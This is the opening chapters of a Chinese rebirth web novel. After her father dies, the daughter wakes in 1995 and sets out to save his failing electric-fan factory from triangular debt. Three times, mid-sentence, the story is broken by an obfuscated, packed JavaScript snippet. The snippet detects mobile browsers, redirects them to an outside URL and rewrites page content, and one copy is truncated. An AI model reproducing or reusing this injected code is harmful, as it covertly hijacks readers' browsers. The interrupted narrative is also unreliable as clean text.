《重回1995:我爸是厂长》 1. 旧照片 “柠柠呢，还没到？” 许国盛躺在病床上，目光看向紧闭的房门，有气无力地念叨着。 赵秋红坐在床边，眼眶微红，一想起那个不孝女，她心绪翻涌，说话带刺儿，“你老惦记她干什么？那死丫头明知道你病了，还跑到国外去！” “你生病住院这么大的事，打十几个电话都回不来，一天到晚忙忙忙，连家都顾不上。” 她还想说什么，见丈夫面色难看，到嘴的话咽了下去。 几十年的夫妻，许国盛知道老妻对女儿心存芥蒂，尤其是近几年，两人见面就吵，因此柠柠都不爱回家了。 他心中一痛，看着和他相伴大半辈子的老妻，语重心长地说，“柠柠这几年虽然发展不错，可说到底还是个打工的，公司派她去国外出差办事，她能不去？” “她有她的难处，你是她妈，要多体谅她。她一个人在外打拼不容易。” 赵秋红只不过抱怨两句，丈夫立马出声维护，她心里酸涩难受，言辞越发尖锐，“她不容易，难道我就容易了？” 话音刚落，丈夫皱着眉头望着她，想到他因为病重，吃不下饭，身形极速消瘦，语气不禁软了几分，“你让我体谅她，我好心给她介绍对象，想让她有个伴，她听过吗？哪次不是敷衍过去？” 说到这，她略带几分不满和委屈，“当初她离婚我就不同意，你护着她，任由她作，好好的家散了。” “她都快40了，没个一儿半女，又死活不肯再找，更别提结婚了。现在瞧着还好，等她老了不能动了怎么办？谁伺候她？” 许国盛听着不高兴，语气不容置疑，“柠柠婚姻不幸福，她哭着向我求助，我能眼睁睁地看着她继续留在贺家那个火坑吗？我只恨自己当初忙于工作，一时没顾上她，看走了眼，毁了女儿一生幸福。” 想起姓贺的那一家人，他面上闪过一丝厌恶，“她受过伤，以后除非她想，再婚这事你不要提了。” “你什么意思？嫌我事多？” “我不是……咳咳。” 许国盛咳嗽几声，声音沙哑带着些许急躁，“你一天到晚都在瞎想什么？我是那个意思吗！孩子大了，有自己的想法，她若不想，你别逼她。” “我逼她？我那是为她好！” 赵秋红气得想骂人，要不是顾忌老伴儿身体，她非得跟他辩个明白！ “咳咳咳……”许国盛气得止不住地咳嗽。 许兆康目光担忧，上前轻轻拍拍父亲的背，给大哥使眼色。 许兆烽无奈，站出来打圆场，“妈，爸身体不好，您少说两句。” 赵秋红瞪了大儿子一眼，扭过身，眼眶微红，心中满是委屈。 咳嗽声渐止，许国盛双眼无神，躺在床上大口喘气。关于小女儿的事，他跟老妻讲多少遍，她都不明白、不理解。 他如何不知老妻嘴硬心软、一点就着的脾性，可柠柠吃软不吃硬，老妻非跟她对着干，只会让女儿跟她离心啊。 病房里，因为父母之间的争吵，气氛有些凝固。 房内或坐或站的子女们对视一眼，欲言又止，各怀心思。 过了一会儿，许国盛突然问道，“兆康，你妹妹到哪了？” 许兆康忙道，“柠柠刚刚给我发信息，说她快到了，您再等等。” “好。”许国盛睫毛微颤，手指下意识的蜷缩。 他也想等，可他怕等不到了啊。 许兆烽蹙眉，拿着手机准备出去，再给妹妹打个电话。 就在这时，病房门被推开，一个穿着羊绒大衣、高跟鞋的女人，风尘仆仆地站在房门口。 她发丝微乱，呼吸急促，目光第一时间落向病床。 四目相对。 许国盛的眸子，瞬间亮了。 他等的人，终于到了。 许晚柠还没来得及跟大家打个招呼，赵秋红噌地站起来，责备的话脱口而出，“你还知道回来！” 许晚柠浑身一颤，抿着唇，没做任何辩解，大步走了进来。 “爸，对不起，我来迟了。”她跪在地上，隔着衣袖轻轻握住父亲的手，哽咽道。 许国盛见到女儿，脸上终于有了笑容，“不晚，回来就好。” 他见女儿面庞消瘦，眼中满是心疼，“瘦了，在外面是不是没好好吃饭？怎么穿这么少，冷不冷？” 许晚柠摇头，“我不冷，爸，您现在感觉怎么样？哪儿不舒服？” “看到你，爸爸哪都好了。”许国盛面色红润，精神许多。 一旁的二嫂见状，上前凑趣，“爸，您看柠柠一回来，您气色都好了不少。” 许兆康被妻子拽了一下，随声应和，“是啊爸，只要您听医生的话，以后日子长着呢。” 大嫂见老二家争表现，也跟着说了句场面话，“爸，我跟兆烽虽然因为工作不能长伴您身边，但作为子女的心是一样的，都盼着您长命百岁呢。” 许兆烽点头表示赞同。 “都是好孩子。”许国盛一脸欣慰。 病房里一片温馨和睦，其乐融融，只除了赵秋红冷着张脸，格格不入。 许国盛悄悄给女儿递了个眼神。 许晚柠心中叹息，站起身，目光落在母亲身上，语气平和地叫了一声“妈。” 赵秋红心中冷哼，本想刺她几句，可当着丈夫和子女们的面，她有些别扭地偏过头，应了一声。 一声妈就想让她服软，怎么可能？ 许晚柠并不意外母亲态度冷淡，也没心思哄她，见父亲状态不错，转身和大家寒暄，“二哥二嫂，爸住院这些天，辛苦你们了。” 二嫂眉眼带笑，态度亲昵，“小妹见外了不是？这也是我们爸，他老人家身体不适，我们做子女的怎么照顾都不为过。” “若不是你工作太忙，这次又去了国外出差，一时回不来，我们恐怕还没机会表孝心呢。” 许兆康接过话，“你二嫂说的对，一家人不说两家话。” 大嫂瞥了语气近乎谄媚的老二媳妇一眼，敛了眸子，默不作声。 赵秋红无声翻了个白眼，就你会说，可显着你了！ 二嫂惯会说话，许晚柠不意外，“大哥、大嫂，什么时候回来的？” 许兆烽看着一身风霜的小妹，目光不自觉的柔和几分，“昨晚到的，爸心里一直惦着你，你跟爸多说说话。” “知道了，大哥。” 她冲大嫂颔首致意，又看向父亲，目光温柔，“爸，我跟领导请了长假，以后天天在这守着您，陪您治病，您放宽心，一定要养好身体。” “好好好。”许国盛被女儿哄得高兴，眉眼舒展，笑意盈盈。 耳边传来一道冷哼，许国盛笑容收了收，见女儿面上毫无波澜，心中无奈。 母女俩处得跟仇人似的！等他走了，柠柠怕是连家都不愿回了。 这可如何是好？ 他看向许兆烽，大儿子稳重，处事公道，他的话，老二和柠柠就算心里不认同，也能听上几分，“兆烽，以后家里交给你了。” 一句话重万斤！ 许兆烽两眼一红，挺直的腰背弯了弯，“爸！您是咱家的主心骨，家里不能没有您掌舵。” 许国盛脸上带着一分释然，“我还能看顾你们一辈子不成？” 他的身体，他心里有数，叮嘱大儿子几句，转头看向老二。 二儿子老实本分，虽说有些耳根子软，被老二媳妇管得死死的，也算不上什么大毛病。 “兆康，跟你媳妇好好过日子，照顾好你妈。” 许兆康眼泪刷地落了下来，“爸，您放心，我一定照顾好妈！咱好好治病，一起回家好不好？” 许国盛笑骂，“大男人哭什么哭，让人看笑话，赶紧把眼泪收收。” 骂完儿子，他看向小女儿，柠柠性格要强，敢想敢拼，如今有自己的事业，不用人操心，只除了跟她妈关系不睦。 罢了，都是命啊。 “爸？”许晚柠见父亲走神，不知怎的心里有些慌，连忙叫了他一声。 “嗯？”许国盛回神，冲她笑了笑。 许晚柠看着父亲苍老的面容，怕他跟自己交代后事，赶忙说，“您的病情二哥都跟我说了，不是什么大毛病。” “这次我去国外出差，找关系联系上一位国际知名医生。他下个星期来京市参加研讨会，到时我找机会约他过来给您看看。”可惜他最近的档期满了，只能等他来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470267|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京市再搭关系请他过来。 许国盛拍拍她的手，“难为你出差还想着我。” 他看着女儿，怎么看都看不够，想到她刚出生的时候，才巴掌大的一点，暖暖糯糯，乖的很，好像一晃眼的功夫，都这么大了。 父亲又走神了，许晚柠和哥哥们对视一眼，表情凝重，“爸？” 许国盛好一会儿才回神，他面露哀伤，带着一丝不舍，“我女儿长大了，漂亮又懂事，可惜爸爸不能一直陪着你了。” 话到最后，一向稳如大山的父亲居然哭了。 许晚柠瞬间泪目，“爸，您这是说的什么话，您还要长命百岁，再陪我几十年呢。您是不是哪里不舒服？我马上叫医生过来？” 许国盛轻轻摇头，“我很好，柠柠，你妈她……” 他努力想着措辞，“你妈妈一生困在这座城市，没出过几次远门，也不懂时代变化，跟以前不一样了。她要是说错话，做错事，你别跟她计较啊。” 许晚柠还没应下，赵秋红急了，“许国盛，你这是啥意思？”什么叫她说错话、做错事？ 她不明白，她到底哪错了？让他当着子女们的面，这么说她！ 老妻翻脸，许国盛也不恼，笑着说了一句，“秋红啊，我想吃你做的白菜炖豆腐了。” 什么？ 赵秋红一脸茫然，不是在吵架吗？怎么突然转到吃上了？ 二嫂反应最快，“妈，爸想吃您做的饭，这是好事啊，要不就在医院食堂做吧，离得近，让大哥帮忙跟院方打个招呼，借用一下厨房。” “对对对，妈，您快去做饭吧。”许兆康赶忙附和。 许兆烽看着父亲，突然意识到什么，表情微变，他急忙拉着母亲往外走，边走边说，“爸，您等等，我现在就带妈去。” 赵秋红被儿子拉着，一脸茫然地往外走。 两人刚走到门口，房内突然响起心电监护仪刺耳的警报声。 许兆烽心跳慢了半拍，拉着母亲，猛然回头！ “爸！” “爸，您别睡！妈去做您最喜欢吃的白菜炖豆腐，马上回来！” 许国盛脸上带笑，双眼开始涣散，心里想的却是，其实他最爱吃的不是白菜炖豆腐，而是在那个物资匮乏的年代，老妻第一次下厨给他做饭，那道白菜炖豆腐最好吃。 真怀念啊！ 许国盛笑着闭上眼睛。 许晚柠眼看着监护仪上的数字不断变化，最终变成零，她脑袋一片空白，大喊了一句，“爸！您醒醒？看看我，我是柠柠啊？” “快叫医生！” 病房里一片兵荒马乱，许国盛被紧急送去抢救。 抢救室灯一亮，许晚柠站在门口，从未觉得等待如此漫长。她的心紧紧悬着，连呼吸都变慢了。 没过多久，手术室灯灭，医生走出来，冲大家摇头。 等候区一片哭声，她扶着墙，瘫坐在地上，死死盯着抢救室大门。 很快，许国盛盖上白布，被护士推了出来。 赵秋红扑到父亲身上大声哭喊，大哥扶着她，掩面哭泣，二哥更是悲痛大哭。 不知过了多久，他们护着父亲的遗体远去，她刚要起身跟上，忽然注意到地上有什么东西，她走过去捡了起来。 是两张旧照片。 第一张，他们一家五口站在市电风扇厂大门口。 照片中的父亲身穿深灰色中山装，眉眼带笑，双手搭在她肩上。 她站在父亲身前，梳着两条麻花辫，笑容灿烂。 背面写着照片摄于1986年9月，她想起那时父亲好像任职市电风扇厂生产部主任，同年大哥当兵入伍，成为一名光荣的军人。 第二张依旧是市电风扇厂大门口。 照片中的父亲面容疲惫，头发半白，眼神中流露出无尽的愁苦和哀伤。 背面写着照片摄于1996年4月，当时父亲任职厂长不到两年，工厂倒闭，大批工人下岗，他身为领导遭受太多谩骂、指责和诋毁。 两张照片中的父亲，心境截然不同。 第一张，父亲眼里有光，意气风发，另一张光芒黯淡，仿若英雄末路。 她攥紧照片，大步追了上去。 2. 重回1995 “柠柠，这都几点了，还不起？” 熟悉又有点陌生的声音传到耳边，许晚柠迷迷糊糊地睁开眼。 映入眼帘的是白色偏暗的墙面，一张木纹清漆带穿衣镜的大衣柜。衣柜右侧靠近窗户的地方放着一张旧书桌，桌子上放着一摞书本和杂七杂八的东西。 而她正躺在一张单人床上，身上盖着洗得发白的毛巾被，靠床的墙面上贴着几张海报，刚出道几年的当红小生林英杰笑得灿烂夺目。 许晚柠第一反应，这地方好像有点眼熟，愣了片刻才反应起来，这不是她家老房子吗？ 难道是在做梦？ 还没等她细想，房门被推开，赵秋红穿着白色短袖衬衫，藏青色长裤站在门口，见女儿睡眼惺忪的坐在床上，有些好笑，“醒了？赶紧起床，这都几点了。” 许晚柠看着年轻许多、面色平和的母亲，目瞪口呆。 以往她们母女见面，哪次不是针尖对麦芒？她忽然想到，梦都是反的，心下稍安。 赵秋红见女儿愣神，单手敲了敲门，“哎？发什么愣呢，早饭我给你温锅里了，一会儿你记得吃，没啥事我上班去了。” 说完，她转身要走。 “等等！” 许晚柠缓过神，急忙叫住她，“我爸呢？”既然是在梦里，见到了她妈，会不会能看到年轻时候的父亲？ “你爸七点多就去厂里了。”赵秋红随口回了一句，低头看了眼手表，都快八点半了，“哎呀，不跟你说了，要迟到了，早饭记得吃啊。” 许晚柠不甚在意的应了一声，待赵秋红走后，她穿上拖鞋走出卧室，看着熟悉的客厅，回忆像是开了闸的洪水涌现在她的脑海。 她在这里出生、长大，住了二十多年，留下太多回忆。后来家里换了大房子，因为她跟母亲观念不合，每次相聚大多不欢而散。是以，她在新家没住过几天，更别提有什么印象了。 况且那所房子也没有一间真正属于她自己的房间，四室两厅的电梯房，她爸妈一间，二哥二嫂一间，侄子一间，只剩下一间不到十平米的书房。 过年回去她住在书房，里面放着一张单人床，床底摆满了杂物。 床板很硬，她一点也不喜欢。 她满屋子乱晃，在父亲书房桌子上看到台历，上面写着1995年7月12日。 “这梦还挺真的。”她喃喃自语。 又或许这不是梦。 - 许晚柠站在洗脸池前，看着镜子里年轻、一脸稚气的自己，眉头紧锁。 难道她重生了？ 可她不是在殡仪馆，等着父亲遗体火化么，打个盹儿的功夫，居然回到了1995年，说出去谁信啊？ 她先是震惊，随后很是迷茫，索性洗了把脸醒醒脑子，坐在沙发上沉思。 自从离婚后，她独自去了深市打拼，努力工作十几年，挣下千万身家，一朝重生，化为乌有。 有点心痛。 转念一想，自己年轻了20岁，最疼爱她的父亲还活着，好像赚了？ 不仅赚了，而且赚翻了！ 瞬间想通，她噌地站起来，眉宇舒展，有点小激动，快步走进卧室换衣服。 她要去厂里找爸爸！ - 电风扇厂跟家属院紧挨着，出门右拐走上两三分钟就到了。 许晚柠站在大门口，盯着门口右侧竖牌上写的保城市华荣电风扇厂几个大字，看了好一会儿，神情有些恍惚。 她出生没多久，父亲被调到华荣厂工作，她在这里长大，厂里的一草一木，一砖一瓦，她都如数家珍。 时隔十几年再见，还真有点近乡情怯呢。 许晚柠在心中给自己暗暗打气，等会儿见了父亲，她必须控制好情绪，不能露马脚。 重生一事，太过匪夷所思，她要死死咽在肚子里，谁都不能说。 就在她站在原地冥思苦想时，有人叫了她一声，打断了她的思绪。 “柠柠？来找你爸？”孙叔手里端着搪瓷缸，站在传达室门口喊她。 许晚柠很快认出对方，笑着打招呼，“对，我找我爸有点事。孙叔，有些日子没见着您了，最近家里都挺好的吧？” 孙叔和他家同住一个家属院，既是邻居，又和父亲是同事，关系挺亲近的。 她还记得当初华荣厂宣布破产，大部分人对父亲这个厂长颇有微词，只有极少部分人站出来维护，说了几句公道话，其中就有孙叔。 孙叔说话中气十足，“家里好着呢，柠柠这是放暑假了吧，有时间来叔家里坐坐，让你婶给你做好吃的。” “行！我可想我婶儿做的凉皮了。”孙婶是陕北人，做的凉皮既劲道又好吃。 孙叔一听，跟夸他似的，笑得露出两排大白牙，“好好好，改天去家里，让你婶儿给你做。” “好啊，到时您可别嫌我烦。”许晚柠一口应下，笑着跟孙叔摆手道别，往厂里走去。 华荣厂占地60余亩，布局分明。其中厂房面积最大，建在道路尽头，库房紧挨着建在厂房东侧，再后面是食堂和员工宿舍。 许晚柠从大门进来，顺着水泥路，没走几步来到办公楼。 办公楼一共三层，厂长办公室在二楼最里边。 她登上台阶，边走边想，马上就要见到年轻20岁、身体康健的父亲，还有些小激动呢。 忽然，楼上传来一阵争吵声，许晚柠心中一紧，加快速度，冲到二楼。 此时，厂长办公室。 一个穿着工服，三四十岁的中年男人沉声质问，“厂长，我们听说这个月工资不发了？为什么？现在明明是销售旺季，自打六月以来，生产线压根没停过，货一车车拉走，钱呢？怎么连我们工人的工资都发不出来？” 男人身边的人接过话，“是啊，钱去哪了？自从过完年，厂里每个月只发半个月工资，我们上有老下有小，家里都快揭不开锅了。您今天必须给我们一个说法，15号到底能不能按时发工资？” “到底能不能发！” 问责的话一出，一群人跟着起哄，办公室顿时喧闹起来。 许国盛心中暗骂到底是哪个王八蛋提前走漏了风声，与此同时，他面色不变，先安抚工人情绪。 他双手下压，“大家先安静一下，听我说。” 待吵闹声渐歇，他朗声道，“大家的难处，我都知道，我和大家一样，上有老下有小，每个月等着财务发工资。” “可是，厂里也有难处啊。”他蹙着眉，欲言又止，见工人们情绪激动，一双双眼睛紧盯着他，在等一个答案。 他扒拉两下头发，破罐子破摔，“我实话跟大家说了吧，这半年每个月只发半个月的工资，是因为厂里没钱了。” 他双手一摊，他是真没想到，当上这个代厂长不到一年，华荣厂已经到了山穷水尽的地步。 上任厂长拍拍屁股高升，给他留下这么个烂摊子，如今更是被工人们堵在办公室。这一刻，他真想撂下不干了。 可若是遇到困难，轻易放弃，他怎么对得起国家的信任，又如何对得起厂里三百多名工人？ 一听厂里没钱，众人急了，“什么？厂里没钱了？怎么会没钱，卖风扇的钱呢？” “对！钱呢？是不是让你们这群当领导的贪了！不发工资，小心我去市政府告你！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470268|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“对，告你！” 许国盛神情严肃，“大家安静！我许国盛来厂里快二十年，当过工人，后来承蒙大家信任，领导大家为祖国经济建设添砖添瓦，兢兢业业，不敢有一丝懈怠。” “我向大家保证，从未拿过厂里一针一线！也不怕你们去告！” 看厂长神情不似作伪，工人们有些心虚，声音不由弱了几分，“那钱去哪了？怎么连工资都发不出来？” 许国盛见大家听得进去，欣慰的同时，也叹了口气，“大家知道，咱们厂是如何运营的吗？” 有的人摇头，有的人迟疑。 他继续说，“厂里先从供应商那里买原材料，比如铜、钢板、电机等等。原材料备齐，咱们将其制成电风扇，由供销社、百货大楼等经销商开车拉走。” “听着没问题是吧？现在问题来了，供销社和百货大楼把货拉走了，钱没给我们结。从去年夏天开始，经销商一直欠账，说到年底结清，可到了年底，只结了百分之三十，其中还拿货抵了一部分。” 众人一听，恍然大悟，“我说厂里年前怎么卖起东西来了。” “我媳妇说比供销社便宜，虽然有点瑕疵，但不影响使用，为此还买了不少呢。” “重点错了，供销社和百货大楼还欠咱们厂钱呢！” 虽然不知道欠了多少，可欠钱就是不对！那么大的国营单位，居然拿一批瑕疵品抵账，脸都不要了！ 许国盛接过话，“没错，迄今为止，供销社和百货大楼去年欠的货款还没结清。年后，我、副厂长、财务和销售科长，轮流找他们领导要账，可他们要么躲着我们，要么说账上没钱，一分都没要回来。” 说完，他一脸沉重，“咱们厂账上资金不多，每个月还要还银行贷款，再加上水电、税务等固定支出，已经入不敷出。” “为了保住咱们这个厂，我、副厂长和各部门领导开会决定，从今年2月开始，厂里先发半个月工资，共度难关。” 话音刚落，有人问了，“厂长，为什么这个月连半个月工资都没了？” 前几个月拿半个月工资，工人们不是没有怨言，但大多被组长、部门主任，不动声色地安抚下去了，现在连半个月工资都发不出来，他们能不急么？ 许国盛解释，“这个月用钱的地方多，过两天要付之前欠供应商原材料的钱，300万，如果不付，人家不给咱们赊账发货，没有原材料，咱们怎么搞生产？” “还有20号要还银行贷款和利息50多万，这两笔款付掉，账上还剩十几万，得留着付水电、税费，以及应对一些突发情况。” “我们先保生产，让厂子运转起来，让大家有活儿干，对不住了各位。” 许国盛眼眶通红，给大家鞠了一躬，“我在这向大家保证，经销商的回款一到，一定把这个月还有之前欠你们的工资全部补齐，请大家再给我们一点时间。” 厂长给他们鞠躬致歉，大家慌了，“厂长，您这是干什么？我们信您还不成吗？” “若不是孩子的学费没着落，我们也不会来堵您的门。” “是啊，我妈常年吃药，我女儿还小，真是哪哪都需要钱。” 大家诉说各自的不容易，表明来厂长办公室是迫不得已。 许国盛理解，却不得不板着脸，简单批评了带头的几句，不然以后遇到点事，就来堵他办公室的门，传出去，他脸往哪搁？ 待送走工人们，走廊上有几个办公室的门开了，有人探头探脑，有人冲他竖起大拇指。 他一脸疲惫地摆了摆手，让他们回去工作，转身进屋。 随后，他往门后瞥了一眼，沉声说，“出来！” 3. 爸，我来帮你吧 半小时前，许晚柠听到争吵声，快步来到厂长办公室门口，发现工人们快把里面挤满了。 大家情绪十分激动，不过父亲尚且应付得来，她没有出声打扰，站在角落听了个全程。 通过父亲和工友们之间的对话，她了解到，原来早在去年厂里就已经出现问题。厂里拖欠供应商的材料钱，经销商拖欠厂里的货款，这不是典型的三角债么？ 好多国营企业因为三角债务拖破产，上辈子华荣厂在1996年初宣布破产，极有可能也是因为这个原因。 正想着，她一时没注意办公室已经安静下来，随之耳边传来一声厉喝。 被发现了。 许晚柠一脸讪笑地从门后走出来，“爸，您怎么发现的？” 许国盛轻哼，拿起搪瓷缸喝了口水，答非所问，“什么时候来的？” “刚来不久。” “说实话。”他瞪了女儿一眼。 许晚柠立马老实，“在他们找爸要说法的时候。” “来的倒挺早。” 许国盛坐在椅子上，随口问道，“你怎么来厂里了？” “我想你了，来看看你。”许晚柠嘿嘿一笑，来到父亲背后，给他按摩肩膀。 “昨晚不是见过了么？”女儿放暑假，昨天下午从省城回来的，晚上一家三口一起吃的饭。 “无事不登三宝殿，柠柠，你零花钱是不是花完了？爸这还有一点。” 说着，许国盛从兜里掏出一叠钱，抽出一张大团结，想了想，又抽出一张，“二十够了吧？” 许晚柠哭笑不得，“爸，我真的只是来看看你。”不是来要钱的。 “那你要不要？不要我收了。” “要！” 许国盛作势要收，她连忙抽走，揣进兜里。 在知道厂里财务出现问题后，许晚柠心里有些想法，以后花钱的地方多着呢，于是她很没骨气的拿了父亲的钱。 “我给你钱的事别告诉你妈。”省得她唠叨。 “知道了，我肯定不告诉她。” 收了钱，她按得更卖力了，“爸，力道怎么样，舒服吗？” 许国盛享受片刻女儿的体贴，拍拍她的手，“好了，别按了，再按下去爸爸骨头都得散架了。” 许晚柠动作不由地轻了许多，“现在呢？” 上辈子在深市，她没少去做Spa，专门跟技师学了手法，回家给爸爸按过，她爸还夸她来着，难道一年多没按过，手生了？ 许国盛见女儿没听明白，索性挑明了，“柠柠，这里是办公室，得注意影响。” 差点忘了爸爸现在是国营厂长，她赶忙收手，坐到父亲对面，一脸懊恼，“爸，您该早点提醒我。” “现在也不晚。”他有分寸。 许国盛看着女儿，忽然想起什么，打开抽屉，从里面拿出一个崭新的笔记本，递给她，“这个给你用。” 许晚柠接过来，麻利地放进斜挎包，笑呵呵地道谢，“谢谢爸。” 她神情自然地盯着父亲，心中无比感动，从小到大，父亲有什么好东西都想着她。 眼眶有些湿润，怕父亲看出异常，她连忙垂眸掩饰，“对了爸，刚才来了那么多工人，怎么就您一个人应对？其他领导呢？” “都出去了，今天我留守。”万一厂里有个什么事，也能及时应对。 许晚柠点头，竖起大拇指，“爸，您刚才面对一群人闹事面不改色，动之以理、晓之以情，太厉害了！” 许国盛摆手，“你可别给我戴高帽，劝走他们算什么本事，把厂子救活才算是真本事。” “您不怪他们莽撞，把您堵在办公室，让您没面子？”许晚柠好奇。 许国盛诧异，“怎么会？是爸爸没本事要回货款，如今厂子发不出工资，他们来要说法是人之常情。” “是我对不起他们，更愧对组织信任啊。” 许晚柠心中感动，又有些羞愧。 上辈子这时候，她在做什么？ 忙着过大学最后一个暑假，忙着玩乐，大四开学后忙着实习，写论文，根本不知道父亲在厂里承受这么大压力。 她在知晓厂里正面临困境时升起的想法，在这一刻瞬间成型，她抬起头，目光坚定，“爸，我来帮你吧。” 不等他拒绝，她开始有理有据的分析，“爸，以目前厂里面临的困境，要么想办法从经销商那里拿到货款，要么找新的销路。” “事情没你想的那么简单。”她说的办法，他们都试过了，目前没什么进展，不然厂里不会连工资都发不出来。 许晚柠继续说，“以目前经销商那边的态度，除非撕破脸，否则很难拿到货款，所以第一条路暂时行不通。” “至于新的销路。”她心里已经有了想法，具体能不能实施，她还要深入了解厂里实际情况以后再提。 “爸，咱们厂现在到底什么情况啊？” “你来真的？”许国盛蹙眉，紧紧盯着女儿。 “当然。”许晚柠毫不犹豫地应下。 既然上天给她一次重来的机会，她一定要守护好最疼爱自己的父亲。她想起在抢救室外的无力，想起那两张旧照片，目标明确！ 她重生归来要做的第一件事，拯救濒临倒闭的电风扇厂，让父亲不留遗憾。 “我不同意。”许国盛想了想，还是拒绝了。 他不是不相信自己的女儿，只是她大学还没有毕业，没有任何经验，单凭自己一腔热情，能做什么？若是失败了，受到打击，会不会一蹶不振？ 比起厂子，他更在意女儿的未来。 况且，厂里目前面临的困境，他们这些做领导的都十分头疼，说句实在的，华荣厂正值风雨飘摇之际，一个不慎，很可能直接破产。 她一个还没毕业，没进入社会的学生，此时若是介入，结果不理想，肯定会遭受非议，她担不起这么大的重任。 许晚柠猜到父亲拒绝的理由，心里十分妥帖，但是她必须争取这个机会，这样才能真正帮到父亲。 她振振有词，“爸，您目前不了解我的能力，以为我在说大话、空话，所以直接拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470269|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝我，我理解您。但是，您总得给我一个机会，让我了解厂里情况，听听我的想法吧？” “你这是有主意了？”许国盛挑眉，女儿这是胸有成竹啊！ 这会儿可不是谦虚的时候，她眼睛明亮，自信张扬，“有点想法，不过还需要您支持。” 许国盛见她毫不胆怯，内心十分欣慰，想了想，年轻人太顺风顺水了也不好，既然她想帮忙，他便给她一个机会！ “你想知道什么？”谈起工作，许国盛双手交叉，神情严肃几分。 许晚柠想了想，伸出两根手指，“第一，债务问题，咱们厂到底欠了外面多少钱。第二，库存情况，如今仓库还剩多少货，价值多少，先了解这些吧。” 切入点不错，许国盛露出赞赏的目光，“目前咱们厂的债务，供应商的材料费和银行贷款、利息占了大头。” “原材料费主要是去年销售旺季欠下的，因为经销商没有给我们结清货款，账上没钱，只能先欠着。截止目前一共欠了1500多万，这个月要付300万。银行贷了1000多万，每个月还50多万。” “至于库存，”他从一堆文件里，拿出一份，递给她，“你自己看吧，这是今天早上送过来的库存报表。近期热销的新款电风扇，上个星期百货大楼刚拉走一批，所以库存不多，大部分是卖不动的老款。” 许晚柠接过，认真看数据，半晌抬起头，“爸，如果上面的数据是准确的，厂里从去年夏天开始一直亏损，对吗？” “没错。”许国盛苦笑，他没想到女儿仅凭这些就能看出厂里真实境况，随后他严肃提醒她，“知道的人不多，你别往外说。” 许晚柠点头，把文件还给父亲，站起来，“爸，我想去库房看看。” “你去库房干什么？”许国盛疑惑，剩余库存，报表上写的清清楚楚，她不是已经看过了么。 许晚柠解释，“报表上都是些冷冰冰的数字，我想看看咱们产品。找到卖点，才能制定更详细的营销计划。” 营销计划？差点忘了，女儿大学学的市场营销，专业对口！没准她真能想到办法！ 许国盛按捺住内心的激动，写了张条子给她，“你拿着它直接去库房找你钱叔，就说我让你去的。” “好嘞！” 许晚柠把条子放包里，走到门口，又小跑回来，一把抱住父亲，闷声说，“爸，谢谢你！” 谢谢你无条件相信我，也谢谢你如此康健地站在我眼前。在这一刻，她无比感恩上天送她回来。 许国盛抬手，摸摸女儿的头，“都多大了，还撒娇呢。”嘴上说着嫌弃，可眼底笑意怎么也压不住。 许晚柠哼唧唧，“我到八十岁也是您女儿！” “等你到八十岁，爸爸早入土了。” 许晚柠抬起头，表情严肃，“爸，您一定会长命百岁的！” 许国盛一怔，随即拍拍她的肩膀，“好好好，爸爸努力活到一百岁。” 许晚柠满意了，随后想到什么，讨好一笑。 “爸，您再借我个人呗。” 4. 市供销大厦 “许同志，成品库房在这边。” 一路上，张嘉林十分热情，可惜许晚柠并不买账，在他碰了几个软钉子后，老实了。 许晚柠走进库房，笑着跟坐在办公桌后面的人打招呼，“钱叔，忙着呢？” 钱叔抬起头，有些惊讶，“柠柠啊，来找你爸？你爸没在这，要不你去厂房看看？” “我不找我爸，我来找您。” 许晚柠笑盈盈地从兜里掏出条子，递给他，“我这不放暑假了么，被我爸抓来当壮工。他嫌我在办公室碍眼，派我来核对一下库存账目，顺便跟您了解下产品具体情况。” 钱叔打开条子，上面写着“清查库存”四个字，没有盖章，但看字迹确实是厂长的。 可晚柠不是厂里的工人，他面露难色，“这好像不合规矩吧？” 张嘉林见状，上前一步，小声道，“叔，您只是带许同志转一圈，核查一下成品库存，顺便看看成品，又不损害厂子利益，怕啥？” 也是，柠柠是厂长家属，是他们一帮老人看着长大的，再说有小张和他陪同，能出什么事？ “成，我带你们看看。” 钱叔拿着账本，带两人在库房走了一圈。 偌大的仓库，纸箱成堆摆放，不同型号的产品分开，整齐有序，一目了然。 看过之后，许晚柠心中有数，指着门口右侧展示区，“钱叔，库房里目前有库存的型号，这边都有样品展示吗？” “对，都有。” “您能跟我说一下每个产品的优势，以及不足之处么？” “这咋说？”在他眼里，他们厂的产品不论新款老款都是最好的。 电风扇只要质量好，能吹风，就是好产品！ 张嘉林见状，主动揽过来，“我来介绍吧。” “也行。”许晚柠无所谓的点头。 